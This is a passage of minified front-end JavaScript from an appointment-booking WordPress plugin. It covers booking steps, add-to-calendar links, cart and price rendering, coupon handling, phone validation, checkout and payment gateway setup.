e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class Ee{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case"bool":s=T(t);break;case"integer":s=$(t)}if(!Q(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class ke{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,s]=e.split(":").map(Number);if(isNaN(t)||isNaN(s))throw new Error("Unknown timezone format: "+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const n=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,n),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,n,a){const o=C().settings().getTimezone();let r=this.formatDateForCalendar(t,o),l=this.formatDateForCalendar(s,o);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(r=r.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const p=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${C().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(o)&&p.push("BEGIN:VTIMEZONE","TZID:"+o,"END:VTIMEZONE");let m={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(o)?";TZID="+o+":":":")+r,dtend:"DTEND"+(this.isTimezoneProvideByIANA(o)?";TZID="+o+":":":")+l,summary:"SUMMARY:"+i,description:"DESCRIPTION:"+n,location:"LOCATION:"+a};m=wp.hooks.applyFilters("mpa_prepare_vevent_data",m);let c=Object.values(m);p.push("BEGIN:VEVENT",...c,"END:VEVENT"),p.push("END:VCALENDAR");const h=p.join("\n"),d=new Blob([h],{type:"text/calendar"});return window.URL.createObjectURL(d)}static createGoogleCalendarURL(e,t,s,i,n){const a=new URL("https://www.google.com/calendar/render"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(r=r.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),a.search=new URLSearchParams({action:"TEMPLATE",text:s,dates:`${r}/${l}`,details:i,location:n}).toString(),this.isTimezoneProvideByIANA(o)&&a.searchParams.append("ctz",o),a.toString()}static createYahooCalendarURL(e,t,s,i,n){const a=new URL("https://calendar.yahoo.com/"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o),p={v:"60",view:"d",type:"20",title:s,desc:i,in_loc:n};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(p.st=r.replace(/T\d\d\d\d\d\d|Z/g,""),p.dur="allday"):(p.st=r,p.et=l),a.search=new URLSearchParams(p).toString(),a.toString()}}class Pe{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),n=e.employee.name+". "+s.getQuantityLabel()+": "+e.getCapacity()+".";let a=i;e.getCapacity()>1&&(a+=" ",a+='<span class="mpa-reservation-capacity">',a+=s.getQuantityLabel()+": "+e.getCapacity(),a+="</span>"),t.find(".reservation-title").html(a),t.find(".reservation-date").html(E(e.date)),t.find(".reservation-time").html(e.time.toString());const o=ke.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),r=ke.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=ke.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),r),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class Ie extends Ee{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new Pe(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(h("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){v("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(h("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function Te(e){let t="";for(let s in e)t+=" "+s+'="'+e[s]+'"';return t}function $e(e,t={}){return"<button"+Te(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function De(e,t){let s={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},i=t.clone();i.attr("data-id",e.getItemId());let n=e.getCapacityOptions();for(let t in s){let a=s[t],o=i.find(a).first(),r="{"+t+"}";if(!(o.length>0?o.html():"").includes(r))continue;let l="";switch(t){case"service_id":l=e.service.id;break;case"service_name":l=e.service.name;break;case"service_thumbnail":l=Oe(e.service.thumbnail);break;case"employee_id":l=e.employee.id;break;case"employee_name":l=e.employee.name;break;case"location_id":l=e.location.id;break;case"location_name":l=e.location.name;break;case"reservation_date":l=E(e.date);break;case"reservation_save_date":l=E(e.date,"internal");break;case"reservation_time":l=e.time.toString("short");break;case"reservation_period":l=e.time.toString();break;case"reservation_save_period":l=e.time.toString("internal");break;case"reservation_capacity":l=Be(m(n,n),e.capacity);break;case"reservation_clients":l=Fe(m(n,n),e.capacity);break;case"reservation_clients_count":l=e.capacity;break;case"reservation_price":let t=e.employee.id;l=Me(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(r,l))}return i.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),i.find('[name*="{item_id}"]').each(((t,s)=>{s.name=s.name.replace("{item_id}",e.getItemId())})),1===n.length&&i.find(".cell-people").addClass("mpa-hide"),i}function xe(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let s of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+s.name+"</span>",s.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=s.quantity_label+": "+s.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+Ae(s.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+h("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+Ae(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=h("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=Ae(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+h("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+h("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+Ae(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function Me(e,t={}){let s=C().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=".",i=","){let n,a,o,r,l,p="";return e<0&&(p="-",e*=-1),n=parseInt(e=(+e||0).toFixed(t))+"",(a=n.length)>3?a%=3:a=0,l=a?n.substr(0,a)+i:"",o=n.substr(a).replace(/(\d{3})(?=\d)/g,"$1"+i),r=t?s+Math.abs(e-n).toFixed(t).replace(/-/,0).slice(2):"",p+l+o+r}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),n="mpa-price";if(0==e&&(n+=" mpa-zero-price"),0==e&&t.literal_free)n+=" mpa-price-free",i=d("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=C().settings().getDecimalSeparator());let s=new RegExp("\\"+t+"0+$");return e.replace(s,"")}(i));let s='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":i=s+i;break;case"after":i+=s;break;case"before_with_space":i=s+"&nbsp;"+i;break;case"after_with_space":i=i+"&nbsp;"+s}e<0&&(i="-"+i)}return'<span class="'+n+'">'+i+"</span>"}function Ae(e,t={}){return t.literal_free=!1,Me(e,t)}function Be(e,t,s={}){let i="<select"+Te(s)+">";return i+=Fe(e,t),i+="</select>",i}function Le(e,t,s=!1){let i="";return i='<option value="'+e+'"'+(s?' selected="selected"':"")+">",i+=t,i+="</option>",i}function Fe(e,t){let s="";for(let i in e)s+=Le(i,e[i],i==t);return s}function Re(e,t,s,i){let n="";const a=String(i);for(const[e,s]of Object.entries(t))n+=Le(e,s,e===a);for(let e of s)n+=Le(String(e.id),e.name,String(e.id)===a);e.empty().append(n).val(a)}function Oe(e){let{width:t,height:s}=C().settings().getThumbnailSize();return"<img"+Te({width:t,height:s,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class Ne extends Ee{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((n=>{n.isSet()&&n.getItemId()!=t&&n.isAtTime(s,i)&&n.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,n,a;e.setCapacity((i=e.getCapacity(),n=t,a=s,Math.max(n,Math.min(i,a))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id="'+s+'"]',n=this.$items.find(i);0===n.length?(n=this.addItem(e),this.bindListeners(n)):(n=this.updateItem(n,e),this.bindListeners(n))})),this.updateTotalPrice()}addItem(e){let t=De(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let s=De(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data("id"),s=this.cart.getItem(t),i=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),n=e.find(".mpa-reservation-price"),a=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),o=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");i.on("change",(t=>{let i=$(t.target.value);s.setCapacity(i);let a=s.getBookingVariantForCapacity(i),o=a.employeeId,r=a.locationId;if(s.getEmployeeId()!=o)s.setEmployee(o,!1),s.setLocation(r,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(o,i);n.html(Me(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&a.on("click",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:i,currencyCode:C().settings().getCurrency()}}))})),this.isMultibookingEnabled()||o.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Ae(this.cart.getTotalPrice()))}isMultibookingEnabled(){return C().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class He{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),z().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(h("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(h("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(h("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ve(e){const t=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:h("Phone number is invalid.","motopress-appointment")});e.after("<br>",t);const s=n(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr("name"),utilsScript:i.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});s.promise.then((()=>{e.val()&&a(),e.on("countrychange",(e=>{a()})),e.on("input",(e=>{a()}))}));const a=()=>{s.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(s.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),t.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),t.removeClass("mpa-hide"))};return s}window.mpa_intl_tel_input=Ve;class ze extends Ee{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ve(this.$phone)),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),C().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),i&&i.currentCustomer&&i.currentCustomer.name&&(this.setProperty("name",i.currentCustomer.name),this.$name.val(i.currentCustomer.name)),i&&i.currentCustomer&&i.currentCustomer.email&&(this.setProperty("email",i.currentCustomer.email),this.$email.val(i.currentCustomer.email)),i&&i.currentCustomer&&"undefined"!==i.currentCustomer.phone&&(this.setProperty("phone",i.currentCustomer.phone),this.phoneValidator.setNumber(i.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),C().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),C().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(xe(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||C().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return v("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class qe{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return v("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:C().settings().getCountry(),redirect_url:{payment_received:C().settings().getReservationReceivedPageUrl(),failed_transaction:C().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ue extends qe{enable(){}}class je{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new we,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=K(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title 